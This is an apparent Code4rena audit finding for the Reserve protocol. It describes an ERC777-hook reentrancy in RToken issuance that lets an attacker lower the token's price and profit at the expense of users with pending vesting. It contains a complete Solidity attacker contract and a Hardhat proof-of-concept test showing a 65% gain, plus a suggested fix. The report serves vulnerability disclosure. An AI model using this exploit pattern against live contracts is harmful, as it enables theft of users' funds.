Reserve contest - ustas's results

A permissionless platform to launch and govern asset-backed stable currencies.

General Information

Platform: Code4rena

Start Date: 06/01/2023

Pot Size: $210,500 USDC

Total HM: 27

Participants: 73

Period: 14 days

Judge: 0xean

Total Solo HM: 18

Id: 203

League: ETH

Reserve

Findings Distribution

Researcher Performance

Rank: 28/73

Findings: 1

Award: $917.62

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: unforgiven

Also found by: hihen, unforgiven, ustas

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
edited-by-warden
duplicate-347

Awards

917.6195 USDC - $917.62

External Links

Lines of code

https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L268-L276

Vulnerability details

Impact

The RTokenP1 contract, which at the end of RTokenP1.issue() transfers funds erc20.safeTransferFrom() from the user's wallet to BackingManagerP1, is vulnerable. https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L270-L276 Provided one of the tokens in BasketHandlerP1.basket has a custom hook on sending funds (like ERC777), it is possible to use RToken before actually transferring the funds. This allows an attacker to:

  • Receive RToken in flash loan
  • Forever lower the price (mulDiv256(basketsNeeded, amtRToken, totalSupply())) of the RToken for all system members
  • Perform theft of funds in the presence of RTokenP1.liability

Proof of Concept

The essence of the problem is that this code in RTokenP1: https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/RToken.sol#L268-L276

_mint(recipient, amtRToken);

for (uint256 i = 0; i < erc20s.length; ++i) {
    IERC20Upgradeable(erc20s[i]).safeTransferFrom(
        issuer,
        address(backingManager),
        deposits[i]
    );
}

Is equal:

_mint(recipient, amtRToken);

IERC20Upgradeable(erc20s[0]).safeTransferFrom(
    issuer,
    address(backingManager),
    deposits[0]
);
IERC20Upgradeable(erc20s[1]).safeTransferFrom(
    issuer,
    address(backingManager),
    deposits[1]
);
...

Provided one of the erc20s[] has any call to the issuer's wallet or contract, we may not wait for all the subsequent erc20.safeTransferFrom() execution and start using the tokens that were issued to us in _mint(recipient, amtRToken). This, in turn, creates an undercollaterization problem because RTokenP1.issue() has increased RTokenP1.basketsNeeded, but BackingManagerP1 does not contain enough funds for them. Accordingly, we can call BackingManagerP1.manageTokens(), thereby lowering the RTokenP1.basketsNeeded variable while leaving RTokenP1.totalSupply() the same. https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BackingManager.sol#L83-L87 https://github.com/reserve-protocol/protocol/blob/df7ecadc2bae74244ace5e8b39e94bc992903158/contracts/p1/BackingManager.sol#L248-L251 As a result, by calling RTokenP1.issue() again, we will buy RToken at a more favorable price relative to previous protocol participants, lowering its price forever. By itself, this action is unprofitable since at the first RTokenP1.issue() the issued tokens were bought at the old price and can only be sold at the new price, which is lower. But, if we lower the price when some funds are in RTokenP1.liability, we can buy tokens at the new price but make the victims from RTokenP1.liability pay the old price by making RTokenP1.vest() in the same transaction after our second RTokenP1.issue(). This will raise the price at a loss to the victims, and we can produce RTokenP1.redeem() at a favorable price.

Here is a possible implementation of the attacker's contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/introspection/IERC1820Registry.sol";
import "@openzeppelin/contracts/utils/introspection/ERC1820Implementer.sol";
import "../../p1/RToken.sol";
import "../../p1/BackingManager.sol";
import "hardhat/console.sol";

contract SandwichVestAttack {
    using Strings for uint256;

    enum Phase {
        First,
        Second
    }
    Phase phase = Phase.First;

    RTokenP1 public rToken;
    BackingManagerP1 public bm;
    IERC20[] public tokens;

    uint256 amountWDiscount;

    constructor(
        RTokenP1 _rToken,
        BackingManagerP1 _bm,
        IERC1820Registry registry,
        IERC20[] memory _tokens
    ) {
        rToken = _rToken;
        bm = _bm;
        tokens = _tokens;

        registry.setInterfaceImplementer(
            address(this),
            keccak256("ERC777TokensSender"),
            address(this)
        );
    }

    function attack(
        uint256 amount,
        uint256 _amountWithDiscount,
        address victim,
        uint256 endId
    ) external {
        require(rToken.totalSupply() != 0, "Unable to manipulate the price");

        uint256[] memory balances = new uint256[](tokens.length);
        console.log("Initial balances:");
        logBalances();

        amountWDiscount = _amountWithDiscount;

        approveAll(address(rToken), type(uint256).max);

        issue(amount);
        vest(victim, endId);
        redeem(rToken.balanceOf(address(this)));

        phase = Phase.First;

        console.log("End balances:");
        logBalances();
    }

    function tokensToSend(
        address,
        address,
        address,
        uint256,
        bytes memory,
        bytes memory
    ) external {
        console.log("Hook tokensToSend");

        if (phase == Phase.First) {
            phase = Phase.Second;

            compromiseBasketsNeeded();
            issue(amountWDiscount);
        }
    }

    function approveAll(address to, uint256 amount) internal {
        for (uint256 i = 0; i < tokens.length; ++i) {
            tokens[i].approve(to, amount);
        }
        console.log("Approval is done!");
        console.log("");
    }

    function issue(uint256 amount) internal {
        console.log("Issue processing...");
        logStrUint("Amount: ", amount);
        logStrUint("Done! Instantly issued: ", rToken.issue(address(this), amount));
        console.log("");
    }

    function compromiseBasketsNeeded() internal {
        console.log("Compromising baskets number... ");
        logStrUint("basketsNeeded before: ", uint256(rToken.basketsNeeded()));
        bm.manageTokens(new IERC20[](0));
        logStrUint("basketsNeeded after: ", uint256(rToken.basketsNeeded()));
        console.log("");
    }

    function vest(address account, uint256 endId) public {
        console.log("Vest processing...");
        logStrUint("endId: ", endId);
        console.log("Account:");
        console.log(account);
        rToken.vest(account, endId);
        console.log("Done!");
        console.log("");
    }

    function redeem(uint256 amount) public {
        console.log("Redeem processing...");
        logStrUint("Amount: ", amount);
        rToken.redeem(amount);
        console.log("Done!");
    }

    function logStrUint(string memory str, uint256 u) internal view {
        console.log(string(abi.encodePacked(str, u.toString())));
    }

    function logBalances() internal view {
        logStrUint("Balance of rToken: ", rToken.balanceOf(address(this)));
        for (uint256 i = 0; i < tokens.length; ++i) {
            logStrUint("Balance of token ", tokens[i].balanceOf(address(this)));
        }
        console.log("");
    }
}

As well as a Hardhat test:

import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers'
import { expect } from 'chai'
import { BigNumber, ContractFactory, Wallet } from 'ethers'
import { ethers, waffle } from 'hardhat'
import { bn, fp } from '../common/numbers'
import {
  ATokenFiatCollateral,
  CTokenFiatCollateral,
  CTokenMock,
  ERC20Mock,
  IAssetRegistry,
  IBasketHandler,
  StaticATokenMock,
  TestIBackingManager,
  TestIRToken,
  USDCMock,
  ERC1820Registry,
  SandwichVestAttack,
  ERC777Mock,
  MockV3Aggregator,
  FiatCollateral
} from '../typechain'
import {
  advanceBlocks,
} from './utils/time'
import {
  Collateral,
  defaultFixture,
  IMPLEMENTATION,
  ORACLE_ERROR,
  ORACLE_TIMEOUT,
  PRICE_TIMEOUT,
} from './fixtures'

const createFixtureLoader = waffle.createFixtureLoader

const makeVanilla777Collateral = async (symbol: string, erc1820registry: string): Promise<Collateral> => {
  const FiatCollateralFactory: ContractFactory = await ethers.getContractFactory('FiatCollateral')
  const MockV3AggregatorFactory: ContractFactory = await ethers.getContractFactory(
    'MockV3Aggregator'
  )
  const ERC777MockFactory = await ethers.getContractFactory('ERC777Mock')

  const erc777: ERC777Mock = <ERC777Mock>await ERC777MockFactory.deploy(symbol + ' Token', symbol, erc1820registry)
  const chainlinkFeed: MockV3Aggregator = <MockV3Aggregator>(
    await MockV3AggregatorFactory.deploy(8, bn('1e8'))
  )
  const coll = <FiatCollateral>await FiatCollateralFactory.deploy({
    priceTimeout: PRICE_TIMEOUT,
    chainlinkFeed: chainlinkFeed.address,
    oracleError: ORACLE_ERROR,
    erc20: erc777.address,
    maxTradeVolume: fp('1e6'),
    oracleTimeout: ORACLE_TIMEOUT,
    targetName: ethers.utils.formatBytes32String('USD'),
    defaultThreshold: fp('0.05'),
    delayUntilDefault: bn('86400'),
  })
  await coll.refresh()
  return coll
}

describe(`RTokenP${IMPLEMENTATION} contract`, () => {
  let owner: SignerWithAddress
  let addr1: SignerWithAddress
  let addr2: SignerWithAddress
  let other: SignerWithAddress

  // Tokens and Assets
  let initialBal: BigNumber
  let token0: ERC777Mock
  let token1: ERC20Mock
  let token2: USDCMock
  let token3: StaticATokenMock
  let token4: CTokenMock
  let tokens: ERC20Mock[]

  let collateral0: Collateral
  let collateral1: Collateral
  let collateral2: Collateral
  let collateral3: ATokenFiatCollateral
  let collateral4: CTokenFiatCollateral
  let basket: Collateral[]

  //erc1820
  let erc1820registry: ERC1820Registry

  // Main
  let assetRegistry: IAssetRegistry
  let rToken: TestIRToken
  let backingManager: TestIBackingManager
  let basketHandler: IBasketHandler

  let loadFixture: ReturnType<typeof createFixtureLoader>
  let wallet: Wallet

  before('create fixture loader', async () => {
    ;[wallet] = (await ethers.getSigners()) as unknown as Wallet[]
    loadFixture = createFixtureLoader([wallet])
  })

  beforeEach(async () => {
    [owner, addr1, addr2, other] = await ethers.getSigners();

    // Deploy fixture
    ({
      assetRegistry,
      backingManager,
      basket,
      basketHandler,
      rToken,
    } = await loadFixture(defaultFixture))

    // Deploy ERC1820Registry
    const ERC1820RegistryFactory = await ethers.getContractFactory('ERC1820Registry')
    erc1820registry = <ERC1820Registry>await ERC1820RegistryFactory.deploy()

    // Get assets and tokens
    collateral0 = await makeVanilla777Collateral('ERC777', erc1820registry.address)
    collateral1 = <Collateral>basket[0]
    collateral2 = <Collateral>basket[1]
    collateral3 = <ATokenFiatCollateral>basket[2]
    collateral4 = <CTokenFiatCollateral>basket[3]
    token0 = <ERC777Mock>await ethers.getContractAt('ERC777Mock', await collateral0.erc20())
    token1 = <ERC20Mock>await ethers.getContractAt('ERC20Mock', await collateral1.erc20())
    token2 = <USDCMock>await ethers.getContractAt('USDCMock', await collateral2.erc20())
    token3 = <StaticATokenMock>(
      await ethers.getContractAt('StaticATokenMock', await collateral3.erc20())
    )
    token4 = <CTokenMock>await ethers.getContractAt('CTokenMock', await collateral4.erc20())
    tokens = [token0, token1, token2, token3, token4]

    // Register ERC777 as an asset
    await assetRegistry.connect(owner).register(collateral0.address)

    // Include ERC777 to the basket
    await basketHandler.connect(owner).setPrimeBasket(
      [token0.address, token1.address, token2.address, token3.address, token4.address],
      [fp('0.2'), fp('0.2'), fp('0.2'), fp('0.2'), fp('0.2')]
    )
    await basketHandler.connect(owner).refreshBasket()
    await backingManager.grantRTokenAllowance(token0.address)

    // Mint initial balances
    initialBal = bn('40000e18')
    await Promise.all(
      tokens.map((t) =>
        Promise.all([
          t.connect(owner).mint(addr1.address, initialBal),
          t.connect(owner).mint(addr2.address, initialBal),
        ])
      )
    )
  })

  describe('Attack', function () {
    it('Vest sandwich', async function () {
      // Deploy attacker contract
      const SandwichVestAttackFactory = await ethers.getContractFactory('SandwichVestAttack')
      const sandwich: SandwichVestAttack = <SandwichVestAttack>await SandwichVestAttackFactory.deploy(rToken.address, backingManager.address, erc1820registry.address, [
        token0.address,
        token1.address,
        token2.address,
        token3.address,
        token4.address,
      ])

      // Mint initial balance of tokens for the attacker contract
      token0.connect(owner).mint(sandwich.address, '700000000000000000000')
      token1.connect(owner).mint(sandwich.address, '700000000000000000000')
      token2.connect(owner).mint(sandwich.address, '700000000')
      token3.connect(owner).mint(sandwich.address, '700000000000000000000')
      token4.connect(owner).mint(sandwich.address, '3500000000000')

      // Provide approvals for victims
      await Promise.all(tokens.map((t) => t.connect(addr1).approve(rToken.address, initialBal)))
      await Promise.all(tokens.map((t) => t.connect(addr2).approve(rToken.address, initialBal)))

      // Issue some initial rTokens
      await expect(rToken.connect(addr1)['issue(uint256)'](ethers.utils.parseEther('1000'))).to.emit(
        rToken,
        'Issuance'
      )

      // Start slow issuance
      await expect(rToken.connect(addr2)['issue(uint256)'](ethers.utils.parseEther('100000'))).to.emit(
        rToken,
        'IssuanceStarted'
      )

      // Wait until the issuance will be ready
      await advanceBlocks(9)

      // Start the attack
      await sandwich.connect(other).attack(ethers.utils.parseEther('1000'), ethers.utils.parseEther('5000'), addr2.address, 1)

      // Slow issuance has been processed
      expect(await rToken.balanceOf(addr2.address)).to.eq(ethers.utils.parseEther('100000'))

      // Balances of the attacker are higher now, and the profit is equal to 65%
      expect(await token0.balanceOf(sandwich.address)).to.eq('1160747663551401869158')
      expect(await token1.balanceOf(sandwich.address)).to.eq('1160747663551401869158')
      expect(await token2.balanceOf(sandwich.address)).to.eq('1160747663')
      expect(await token3.balanceOf(sandwich.address)).to.eq('1160747663551401869158')
      expect(await token4.balanceOf(sandwich.address)).to.eq('5803738317757')
    })
  })
})

Auxiliary contracts that were used to test this vulnerability: https://github.com/ustas-eth/files/blob/6dbe878f53b3fce2c1d32ecab0187ac79c8245ff/ERC1820Mock.sol https://github.com/ustas-eth/files/blob/6dbe878f53b3fce2c1d32ecab0187ac79c8245ff/ERC777Mock.sol

Tools Used

Manual review, VSCodium, Hardhat

Issue new tokens _mint() and write the correct amount of RTokenP1.basketsNeeded in the RTokenP1.issue() function only after all funds have been actually transferred to BackingManagerP1.

#0 - c4-judge

2023-01-23T17:47:28Z

0xean marked the issue as duplicate of #318

#1 - c4-judge

2023-01-23T17:47:35Z

0xean marked the issue as satisfactory

#2 - c4-judge

2023-01-23T17:49:53Z

0xean changed the severity to 2 (Med Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter